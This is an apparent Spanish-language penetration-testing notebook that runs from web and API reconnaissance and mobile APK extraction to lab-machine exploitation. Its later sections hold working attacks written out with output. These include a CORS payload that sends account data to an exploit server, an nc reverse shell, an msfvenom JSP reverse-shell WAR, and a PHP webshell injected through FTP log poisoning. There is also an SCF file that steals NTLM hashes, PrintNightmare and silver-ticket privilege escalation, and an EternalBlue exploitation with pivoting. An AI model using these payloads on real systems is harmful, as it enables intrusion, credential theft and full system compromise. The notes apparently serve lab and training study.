# Inicio

Tecnicas.


# Web Site


# Subdomain

## Subdomain Enumeration

Enumeracion de subdominios mediante diferentes metodos

### WayBackUrls

```bash
echo 'domain.com' | waybackurls | cut -d '/' -f 3 | cut -d ':' -f 1 | sort -u > subdomains.txt
```

### Crt.sh

{% embed url="<https://github.com/az7rb/crt.sh>" %}

```
crt.sh -d domain.com
```

### Sublist3r

{% embed url="<https://github.com/aboul3la/Sublist3r>" %}

```
sublist3r -d domain.com
```

### Subfinder

{% embed url="<https://github.com/projectdiscovery/subfinder>" %}

```
subfinder -d domain.com -o subdomains
```

### Amass

{% embed url="<https://github.com/owasp-amass/amass>" %}

<pre data-overflow="wrap"><code><strong>amass enum -active -d domain.com -brute -w dns-Jhaddix.txt -o subdomains
</strong></code></pre>

### Wordlist

{% embed url="<https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/dns-Jhaddix.txt>" %}


# API

Metodología obtenida de mi exposicion de OWASP.

{% embed url="<https://ponencias.desdes.xyz/ponencias/owasp-2023>" %}

### Laboratorios para probar APIs

{% embed url="<https://github.com/OWASP/crAPI>" %}

{% embed url="<https://github.com/roottusk/vapi>" %}


# Recolección de Informacion

Footprinting de versiona y tecnologias

```
whatweb URL
```


# Directorios

wfuzz, dirsearch, dirbuster, etc

### Wfuzz

```
wfuzz -u 'URL' -c -hc 404,403,400 -w /usr/share/dirb/wordlist/common.txt
```

### Dirsearch

```
dirsearch -u 'URL' -w /usr/share/dirb/wordlist/common.txt
```


# OSINT

### Motores de busqueda

Google Dorks

Shodan

Duck Duck Go

Bing

### Postman Publicos

```
site:postman.com inurl:(workspace & overview) intext:"KEYWORD"
```

### Way Back URLs

```
echo 'site.com' | waybackurls | tee site.urls
```

{% embed url="<https://github.com/tomnomnom/waybackurls>" %}

### Gau

<pre><code><strong>gau --o site.urls site.com
</strong></code></pre>

{% embed url="<https://github.com/lc/gau>" %}

### Repositorios publicos de GitHub

```
./gitgot.py -q example.com
```

{% embed url="<https://github.com/BishopFox/GitGot>" %}

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FgfvwzDZH0xXFqNwCo8Ur%2Fimage.png?alt=media&amp;token=7e6e72f5-6114-46c5-875d-9af61e3dfd01" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/techgaun/github-dorks>" %}

### AMASS

{% embed url="<https://github.com/owasp-amass/amass>" %}


# Enumeracion en Endpoints

### Fuzz de Endpoints

```
https://domain.site/api/v1/FUZZ1.FUZZ2

actionObject
ActionObject
action_Object
action-object
action.object
...
```

{% embed url="<https://github.com/chrislockard/api_wordlist>" %}

### JS Minning

Extension de burpsuite.

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FEjV7duuFZgb1x8owjywl%2Fimage.png?alt=media&amp;token=cf9ebdb3-4766-4399-9aa3-a4f1bdec2b07" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/portswigger/js-miner>" %}

### Fuzz de parametros

```
arjun -u URL
```

{% embed url="<https://github.com/s0md3v/Arjun>" %}

### Kite Runner

```
kr scan hosts.txt -w routes.kite -x 20 -j 100
```

{% embed url="<https://github.com/assetnote/kiterunner>" %}


# Busqueda de Vulnerabilidades

## Business logic vulnerabilities

Depende mucho del flujo del aplicativo.

{% embed url="<https://portswigger.net/web-security/logic-flaws>" %}

{% embed url="<https://desdes.xyz/business-logic-ps/>" %}


# Validaciones

### Cabeceras de seguridad

```
curl https://desdes.xyz/document -D-
```

### SSL/TLS y vigencia de certificado

```
sslscan domain.site
```


# Mal manejo de errores

* Envío de caracteres HTML especiales.
* Envío de caracteres no ASCII.&#x20;
* Envío de tipo de valores no esperados (booleanos, enteros, etc).&#x20;
* Errores de sintaxis en formatos JSON o XML.


# Sesiones

### Autenticación rota

Revision de endpoints y en donde se puede acceder sin necesidad de la sesion.

### Mala Segmentación de Roles

Poder acceder a funcionalidades que no corresponde el rol al cual el usuario está definido (acceso a funcionales de administrador, escalada de privilegios horizontal o vertical).


# IDOR

Información de usuarios, recursos y otro tipo de objetos que no debería ser expuesto a un usuario no propietario del mismo. Registro y cambio a objetos ajenos a la sesión.


# Ataques de Inyección

* SQL
* NO-SQL
* Server Side Template
* Comandos (system, etc)
* Código (eval) LDAP


# Exposición de datos sensibles

* Exposición de direcciones IPs internas.
* Exposición de servicios y versiones vulnerables.
* Información sensible dentro de JWTs.
* Secretos hardcodeados en JS, HTML, etc.


# Otras posibles vulnerabilidades

* Server Side Request Forgery
* Path Traversal
* Vulnerabilidades de Lógica de negocio.


# Rate Limit

Se centra en realizar muchas solicitudes sin que sean bloqueadas por el servidor.

El impacto de un rate limit se basa en impactar al servicio con el uso múltiple de solicitudes esto lleva a:

* Spam en correos
* Spam en celular
* Consumo de recursos que puede llevar a una dos
* Ataques de fuerza bruta
* Creación masiva de objetos como usuarios, comentarios, etc.


# Cors

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2Fi5JsOf6oKoMDmXDPpcoN%2Fimage.png?alt=media&amp;token=255ab47f-ff12-446b-a72d-60658bbc693a" alt=""><figcaption></figcaption></figure>

```javascript
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://accd1fd41f49fd57c0710d75007f00b6.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
   location='//exploit-acde1f681f31fd46c0970d7d01670029.web-security-academy.net//log?key='+btoa(this.responseText);
};
```


# Ataques de Cabeceras

### Host Header

```
X-Forwarded-Host: aaa.com
X-Host: aaa.com
X-Forwarded-Server: aaa.com
X-HTTP-Host-Override: aaa.com
Forwarded: aaa.com
```

### CRLF

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FSilyeM7vT7R4gAe0F3O9%2Fimage.png?alt=media&amp;token=d8d38004-cace-4635-ab58-bd613ef653aa" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt>" %}

### IP Bypass

{% embed url="<https://gist.github.com/kaimi-/6b3c99538dce9e3d29ad647b325007c1#file-gistfile1-txt>" %}


# Prototype Pollution

{% embed url="<https://portswigger.net/web-security/prototype-pollution>" %}

{% embed url="<https://ps.desdes.xyz/prototype-pollution>" %}


# Ataque de deserialización

{% embed url="<https://portswigger.net/web-security/deserialization>" %}

{% embed url="<https://ps.desdes.xyz/insecure-deserialization>" %}


# Ataques JWT

{% embed url="<https://portswigger.net/web-security/jwt>" %}

{% embed url="<https://ps.desdes.xyz/jwt-attacks>" %}

### JWT Tool

{% embed url="<https://github.com/ticarpi/jwt_tool>" %}


# Mobile


# PlayStore to APK

## APK TOOL

{% embed url="<https://apkpure.net/es/apk-tool/org.spatialia.tool>" %}

Luego al entrar al aplicativo selecciona la aplicacion y drop APK.

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FAFVbo55NDDZ41taPgwLL%2Fimage.png?alt=media&amp;token=b32d005b-2f0d-46d0-827d-ba27d8c307bd" alt=""><figcaption></figcaption></figure>

Esto se guarda en ./storage/apktool/

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FWIWWsZyeon6i2Pr9jrBs%2Fimage.png?alt=media&amp;token=6d497768-1c1e-4491-99d1-864609cd1e1f" alt=""><figcaption></figcaption></figure>

Luego lo puedes descargar usando.

```
adb pull /storage/emulated/0/apktool/aplicativo.apk
```

## AntiSplit-X

{% embed url="<https://sfile.mobi/JLtIrodZCw7>" %}

Se ingresa al simbolo del paquete.

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FfonIXQNwCSI84tsvyKgz%2Fimage.png?alt=media&amp;token=0d740605-46e8-45eb-aed5-568d7e2baa10" alt=""><figcaption></figcaption></figure>

Seleccionamos el aplicativo a extraer.

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2Fv0dW6LctbuWl8eTSUNPv%2Fimage.png?alt=media&amp;token=003b1aa5-6dc9-44e5-b192-6766abfb712f" alt=""><figcaption></figcaption></figure>

Luego en el directorio storage/AntiSplit\_X se almacena con formato .apks.

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FrI74K75TjGRxa8JCexso%2Fimage.png?alt=media&amp;token=91ceb8b6-c090-4574-9942-f9afc7c6472f" alt=""><figcaption></figcaption></figure>

Ahora insertamos el archivo apks y le damos en Merge File.

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FPLmNDnL2PUCu0FfbPLFc%2Fimage.png?alt=media&amp;token=1213a844-1269-4251-a8d0-ca22800bb887" alt=""><figcaption></figcaption></figure>

Ahora, se genera un archivo con la terminacion

```
app_apks_signed.apk
```

Este seria el APK final a tratar para lo que deseemos.


# Bypass Ofuscacion Xamarin

## Extraer el APK

```
unzip -d unziped app.apk
```

Luego ingresamos al directorio unziped.

## Ejecutamos el pyxamstore

{% embed url="<https://github.com/jakev/pyxamstore>" %}

```
pyxamstore unpack -d assemblies/
```

## Extraemos los archivos necesarios para revisar

El pyxamstore nos genera el directorio out en el tenemos los archivos llamados ClienteFiel.\*.

Luego entonces, obtenemos estos archivos y lo abrimos en un decompilador de .dll. Para ello tenemos dos opciones.

{% embed url="<https://github.com/dnSpy/dnSpy>" %}

{% embed url="<https://github.com/icsharpcode/ILSpy>" %}


# Bypass Flutter

## reFlutter

{% embed url="<https://github.com/Impact-I/reFlutter>" %}

```
pip3 install reflutter==0.7.8
```

Con el APK de fluter que tenemos, ejecutamos el comando.

```
reflutter app_apks_signed.apk
```

Especificamos la IP del burpsuite.

```
Please enter your BurpSuite IP: 192.168.139.1
```

Luego obtenemos el archivo release.RE.apk

Como dice la documentacion firmamos el apk resultante con Uber APK Signer

{% embed url="<https://github.com/patrickfav/uber-apk-signer>" %}

Tambien configuramos el proxy invisible en burpsuite.

<figure><img src="https://1116580734-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F80DU0lRP27yfgYzc3pOF%2Fuploads%2FqzUGhO98eoTh2d2nL7mf%2Fimage.png?alt=media&amp;token=ce150018-7618-4e17-a2ed-1a056d5164f1" alt=""><figcaption></figcaption></figure>

Luego de ello deberiamos poder recibir las http request desde el emulador al burpsuite.

### Observaciones

A veces puede que no nos permite usar reflutter con el apk obtenido de [APKTOOL](/mobile/playstore-to-apk#apk-tool), recomiendo usar [AntiSplit-X](/mobile/playstore-to-apk#antisplit-x).


# Miscelanio

### SSL CONNECT

```
openssl s_client -connect desdes.xyz:443
```

{% embed url="<https://www.stevenrombauts.be/2018/12/test-smtp-with-telnet-or-openssl/>" %}


# SSH

## Escapes Sequences

{% embed url="<https://www.microfocus.com/documentation/rsit-server-client-unix/8-4-0/unix-guide/ssh_escape_ap.html>" %}


# Docker

### Docker Remoto <a href="#docker-remoto" id="docker-remoto"></a>

#### Conectarse:

```
docker -H 10.10.45.169 images
```

#### Obtener Shell:

```
docker -H 10.10.45.169 run -v /:/mnt --rm -it nginx chroot /mnt bash
```


# DNS

### DNS TOOL <a href="#dns-tool" id="dns-tool"></a>

{% embed url="<https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py>" %}

Agregar registros DNS desde LDAP

```
python3 dnstool.py -u "intelligence.htb\Tiffany.Molina" -p 'NewIntelligenceCorpUser9876' -a add -r 'perrito.intelligence.htb' -d '10.10.14.251' 10.10.10.248

```


# Silver Ticket

```
impacket-getST 'intelligence.htb/svc_int$' -spn WWW/dc.intelligence.htb -hashes :c699eaac79b69357d9dabee3379547e6 -impersonate Administrator
```

Si te sale este error:

```
[*] Getting TGT for user
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
```

Solo debes actualizar el reloj esto lo hacemos con:

```
sudo apt-get install ntpdate

sudo ntpdate 10.10.10.248
=> 1 Nov 05:23:45 ntpdate[295766]: step time server 10.10.10.248 offset +25202.808937 sec

#OTRA OPCION
sudo apt-get install chrony
sudo timedatectl set-ntp true
sudo ntpdate <machine IP>
```

Exportamos la variable del archivo generado

```
export KRB5CCNAME=Administrator.ccache
```

Obteniendo consola

```
impacket-psexec intelligence.htb/Administrator@dc.intelligence.htb -k -no-pass

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on dc.intelligence.htb.....
[*] Found writable share ADMIN$
[*] Uploading file UmMXtxAq.exe
[*] Opening SVCManager on dc.intelligence.htb.....
[*] Creating service JzWD on dc.intelligence.htb.....
[*] Starting service JzWD.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1879]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Users\Administrator\Desktop>type root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
```


# LDAP

### LDAP LOGIN <a href="#ldap-login" id="ldap-login"></a>

```
ldapsearch -D "cn=binduser,ou=users,dc=pikaboo,dc=htb" -b "dc=pikaboo,dc=htb"  -w "J~42%W?PFHl]g"
```

### gMSADump <a href="#gmsadump" id="gmsadump"></a>

{% embed url="<https://github.com/micahvandeusen/gMSADumper>" %}

```
python3 gMSADumper.py -u user -p password -d domain.local
```


# Shell Command Files (SCF)

Esto lo podemos usar para robar la hash de un computador, guardando el archivo con formato **@name.scf** y luego cuando accedan al directorio este generara la consulta por smb.

```
[Shell]
Command=2
IconFile=\\X.X.X.X\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
```

Luego activamos el responder, y subimos el archivo.

```
sudo responder -I tun0 -A

[+] Listening for events...
[SMB] NTLMv2-SSP Client   : 10.10.11.106
[SMB] NTLMv2-SSP Username : DRIVER\tony
[SMB] NTLMv2-SSP Hash     : tony::DRIVER:7db7de634789fe9b:AD890AF42AA33006DB91C3D38F64502C:0101000000000000C0653150DE09D2013589EFE0BC55D427000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000080030003000000000000000000000000020000010E26FBA9187096CADC5424B3B3EF60B8615F85ED6C8D0B66461E1E22D3DCCEA0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E0031003300000000000000000000000000
```


# SPOOLER

ToDo: Printers

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

```
Get-Service -Name Spooler

Status   Name               DisplayName
------   ----               -----------
Running  Spooler            Print Spooler
```

Ejecutando:

```
powershell -ep bypass -c 'Import-Module .\CVE-2021-1675.ps1;Invoke-Nightmare'

[+] using default new user: adm1n
[+] using default new password: P@ssw0rd
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user  as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
```


# JuicyPotato

{% embed url="<https://github.com/ohpe/juicy-potato>" %}

rs.bat

```
C:\Users\adm1n\Documents\nc.exe 10.10.16.13 4444 -e cmd
```

Luego, ejecutamos:

```
.\JuicyPotato.exe -t * -p C:\Users\adm1n\Documents\rs.bat -l 9002 -c '{4991d34b-80a1-4291-83b6-3328366b9097}'
```

Luego en el puerto de escucha:

```
listening on [any] 4444 ...
connect to [10.10.16.13] from driver.htb [10.10.11.106] 49465
Microsoft Windows [Version 10.0.10240]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
```


# TOMCAT

### TOMCAT BYPASS <a href="#tomcat-bypass" id="tomcat-bypass"></a>

```
https://seal.htb/manager/status/..;/html
```

Nota: reemplace(‘/html’,’/status/..;/html’) en el burpsuite.

### Generar Shell .war

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.13 LPORT=4444 -f war > shell.war
```

### Wordlist

{% embed url="<https://gist.githubusercontent.com/KINGSABRI/277e01a9b03ea7643efef8d5747c8f16/raw/c491a2706d6aa553863b7a7c395c457ed9e63a2e/tomcat-directory.list>" %}


# Proc Enum

### List Process <a href="#list-process" id="list-process"></a>

```
/proc/sched_debug

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        systemd     1       445.759924      3828   120         0.000000      1769.826770         0.000000 0 0 /autogroup-2
 S       kthreadd     2     47838.720959       296   120         0.000000         4.630080         0.000000 0 0 /
 I         rcu_gp     3        13.968795         2   100         0.000000         0.004180         0.000000 0 0 /
. . .
 S        apache2  4043      1830.183525      2693   120         0.000000       329.979700         0.000000 0 0 /autogroup-53
>R        apache2  4048      1829.204925      2690   120         0.000000       334.717910         0.000000 0 0 /autogroup-53
 S        apache2  4071      1830.150655      2677   120         0.000000       325.964820         0.000000 0 0 /autogroup-53
 S        apache2  4102      1832.182545      2666   120         0.000000       333.209330         0.000000 0 0 /autogroup-53
 I    kworker/0:2  4460     47962.478071     17337   120         0.000000       565.512360         0.000000 0 0 /
 I kworker/u256:2  4921     47938.019991      2367   120         0.000000        54.812880         0.000000 0 0 /
 I kworker/u256:0  5062     47956.387321       595   120         0.000000        15.096550         0.000000 0 0 /
```

### More info: <a href="#read-files-proces-for-pid" id="read-files-proces-for-pid"></a>

{% embed url="<https://www.netspi.com/blog/technical/web-application-penetration-testing/directory-traversal-file-inclusion-proc-file-system/>" %}


# Primitives

### Python

```
__import__('pty').spawn('/bin/bash')
```

```
schema: yup_lib["object"]({
                code: yup_lib["string"]().required(strapi_helper_plugin_cjs_min["translatedErrors"].required),
                password: yup_lib["string"]().min(6, strapi_helper_plugin_cjs_min["translatedErrors"].minLength).required(strapi_helper_plugin_cjs_min["translatedErrors"].required),
                passwordConfirmation: yup_lib["string"]().min(6, strapi_helper_plugin_cjs_min["translatedErrors"].required).oneOf([yup_lib["ref"]('password'), null], 'components.Input.error.password.noMatch').required(strapi_helper_plugin_cjs_min["translatedErrors"].required)
            
```


# Archivos .crash

### Crashear ejecutables y dumpear la ram <a href="#crashear-ejecutables-y-dumpear-la-ram" id="crashear-ejecutables-y-dumpear-la-ram"></a>

```
Esto ocurre en el caso que:
prctl(PR_SET_DUMPABLE, 1);

Para ello cancelar el flujo del programa con CONTROL + Z
Luego ejecutar ps -a
Luego de ello matar el proceso con kill -BUS [PID]
Luego fg para volver a entrar al proceso y que se genere el crash.
```

### Leer archivo .crash <a href="#leer-archivo-crash" id="leer-archivo-crash"></a>

```
apport-unpack _opt_count.1000.crash output
strings CoreDump
```


# Nginx

### Path traversal via misconfigured alias <a href="#path-traversal-via-misconfigured-alias" id="path-traversal-via-misconfigured-alias"></a>

```
http://pikaboo.htb/admin../server-status
```

{% embed url="<https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/>" %}


# FTP

### FTP log poisoning <a href="#ftp-log-poisoning" id="ftp-log-poisoning"></a>

El archivo a infectar es el siguiente:

```
http://pikaboo.htb/admin../admin_staging/index.php?page=/var/log/vsftpd.log
```

Para ello debemos escribir en el ftp login

```
ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:eduardodesdes): <?php system($_GET['cmd']); ?>
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp> ^C
ftp> exit
221 Goodbye.
```

Y luego podemos ejecutar el codigo php

```
http://pikaboo.htb/admin../admin_staging/index.php?page=/var/log/vsftpd.log&cmd=id
```

Con el output

```
// Some codeSat Nov 13 04:48:47 2021 [pid 27951] FTP command: Client "::ffff:10.10.16.38", "USER uid=33(www-data) gid=33(www-data) groups=33(www-data)"
...
Sat Nov 13 04:48:52 2021 [pid 27951] FTP command: Client "::ffff:10.10.16.38", "QUIT"
Sat Nov 13 04:48:52 2021 [pid 27951] FTP response: Client "::ffff:10.10.16.38", "221 Goodbye
```


# Pivoting

### Chisel <a href="#chisel" id="chisel"></a>

Para crear un socket usaremos chisel. En la maquina atacante levantamos el chisel server con el comando:

```
chisel server -p 8000 --reverse
```

En la maquina victima, nos pasamos el chisel. (Si es windows pasamos el chisel.exe que encontramos en el repositorio oficial)

```
chisel.exe client 192.168.18.41:8000 R:socks
```

Con esto levantamos un socks5 en el puerto 1080. Configuramos el archivo de proxychains **/etc/proxychains.conf**:

```
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4         127.0.0.1 9050
socks5  127.0.0.1       1080
```

Luego podemos usar proxychains:

```
proxychains curl 192.168.172.130
```

### Doble Pivote con Metasploit <a href="#doble-pivote-con-metasploit" id="doble-pivote-con-metasploit"></a>

Primero empezamos con detectar la ip con windows en la segunda red, la cual es: **192.168.172.143**. Verificamos si es vulnerable a eternalblue.

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name         Current Setting                                                 Required  Description
   ----         ---------------                                                 --------  -----------
   CHECK_ARCH   true                                                            no        Check for architecture on vulnerable hosts
   CHECK_DOPU   true                                                            no        Check for DOUBLEPULSAR on vulnerable hosts
   CHECK_PIPE   false                                                           no        Check for named pipe on vulnerable hosts
   NAMED_PIPES  /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
   RHOSTS       192.168.172.143                                                 yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        445                                                             yes       The SMB service port (TCP)
   SMBDomain    .                                                               no        The Windows domain to use for authentication
   SMBPass                                                                      no        The password for the specified username
   SMBUser                                                                      no        The username to authenticate as
   THREADS      1                                                               yes       The number of concurrent threads (max one per host)
```

Entonces al probar vemos que debemos agregar el socket a la conexion.

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[*] 169.254.106.25:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Lo agregamos con el siguiente comando:

```
set PROXIES SOCKS5:127.0.0.1:1080
```

Y luego podemos ver que si es vulnerable:

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 192.168.172.143:445   - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7600 x64 (64-bit)
[*] 192.168.172.143:445   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Luego usamos el exploit de eternalblue

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > use 2
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
```

Elegimos el payload bind\_shell, puesto que la maquina objetivo no tienen acceso a nuestra ip pero nosotros si a ella.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
```

Luego actualizamos las direcciones del target.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.172.143
RHOSTS => 192.168.172.143
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.172.143
RHOST => 192.168.172.143
```

Luego ingresamos de nuevo el proxy ya que se borra cuando actualizamos con el comando use.

```
set PROXIES SOCKS5:127.0.0.1:1080
```

Corremos el exploit para obtener la shell.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] 192.168.172.143:445 - Executing automatic check (disable AutoCheck to override)
[*] 192.168.172.143:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.172.143:445   - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7600 x64 (64-bit)
[*] 192.168.172.143:445   - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.172.143:445 - The target is vulnerable.
[*] 192.168.172.143:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.172.143:445   - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7600 x64 (64-bit)
[*] 192.168.172.143:445   - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.172.143:445 - Connecting to target for exploitation.
[+] 192.168.172.143:445 - Connection established for exploitation.
[+] 192.168.172.143:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.172.143:445 - CORE raw buffer dump (25 bytes)
[*] 192.168.172.143:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 48 6f 6d 65 20 42  Windows 7 Home B
[*] 192.168.172.143:445 - 0x00000010  61 73 69 63 20 37 36 30 30                       asic 7600       
[+] 192.168.172.143:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.172.143:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.172.143:445 - Sending all but last fragment of exploit packet
[*] 192.168.172.143:445 - Starting non-paged pool grooming
[+] 192.168.172.143:445 - Sending SMBv2 buffers
[+] 192.168.172.143:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.172.143:445 - Sending final SMBv2 buffers.
[*] 192.168.172.143:445 - Sending last fragment of exploit packet!
[*] 192.168.172.143:445 - Receiving response from exploit packet
[+] 192.168.172.143:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.172.143:445 - Sending egg to corrupted connection.
[*] 192.168.172.143:445 - Triggering free of corrupted buffer.
[*] Started bind TCP handler against 192.168.172.143:4444
[*] Sending stage (200262 bytes) to 192.168.172.143
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 127.0.0.1:1080) at 2022-01-03 12:15:13 -0800
[+] 192.168.172.143:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.172.143:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.172.143:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
```

Ahora realizamos un ipconfig para verificar las redes presentes.

```
Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:f2:5c:18
MTU          : 1500
IPv4 Address : 192.168.172.143
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::887:d7b7:f6cf:2199
IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 17
============
Name         : Intel(R) PRO/1000 MT Network Connection #2
Hardware MAC : 00:0c:29:f2:5c:22
MTU          : 1500
IPv4 Address : 169.254.106.25
IPv4 Netmask : 255.255.0.0
IPv6 Address : fe80::394a:efca:78d8:6a19
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

Entonces, ahora lo que haremos sera realizar un autoroute

```
meterpreter > background
[*] Backgrounding session 1...

msf6 exploit(windows/smb/ms17_010_eternalblue) > search autoroute

Matching Modules
================

   #  Name                         Disclosure Date  Rank    Check  Description
   -  ----                         ---------------  ----    -----  -----------
   0  post/multi/manage/autoroute                   normal  No     Multi Manage Network Route via Meterpreter Session


Interact with a module by name or index. For example info 0, use 0 or use post/multi/manage/autoroute

msf6 exploit(windows/smb/ms17_010_eternalblue) > use 0
msf6 post(multi/manage/autoroute) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/autoroute) > set SUBNET 169.254.106.0
SUBNET => 169.254.106.0
msf6 post(multi/manage/autoroute) > set CMD add
CMD => add
msf6 post(multi/manage/autoroute) > run

[!] SESSION may not be compatible with this module.
[*] Running module against TEST
[*] Adding a route to 169.254.106.0/255.255.255.0...
[+] Route added to subnet 169.254.106.0/255.255.255.0.
[*] Post module execution completed
```

Luego podemos realizar un portscan en el puerto 22 para detectar las ips con servicio SSH.

```
msf6 post(multi/manage/autoroute) > search portscan

Matching Modules
================

   #  Name                                              Disclosure Date  Rank    Check  Description
   -  ----                                              ---------------  ----    -----  -----------
   0  auxiliary/scanner/http/wordpress_pingback_access                   normal  No     Wordpress Pingback Locator
   1  auxiliary/scanner/natpmp/natpmp_portscan                           normal  No     NAT-PMP External Port Scanner
   2  auxiliary/scanner/portscan/ack                                     normal  No     TCP ACK Firewall Scanner
   3  auxiliary/scanner/portscan/ftpbounce                               normal  No     FTP Bounce Port Scanner
   4  auxiliary/scanner/portscan/syn                                     normal  No     TCP SYN Port Scanner
   5  auxiliary/scanner/portscan/tcp                                     normal  No     TCP Port Scanner
   6  auxiliary/scanner/portscan/xmas                                    normal  No     TCP "XMas" Port Scanner
   7  auxiliary/scanner/sap/sap_router_portscanner                       normal  No     SAPRouter Port Scanner


Interact with a module by name or index. For example info 7, use 7 or use auxiliary/scanner/sap/sap_router_portscanner

msf6 post(multi/manage/autoroute) > use 5
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 169.254.106.0/24
RHOSTS => 169.254.106.0/24
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 22
PORTS => 22
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 40
THREADS => 40
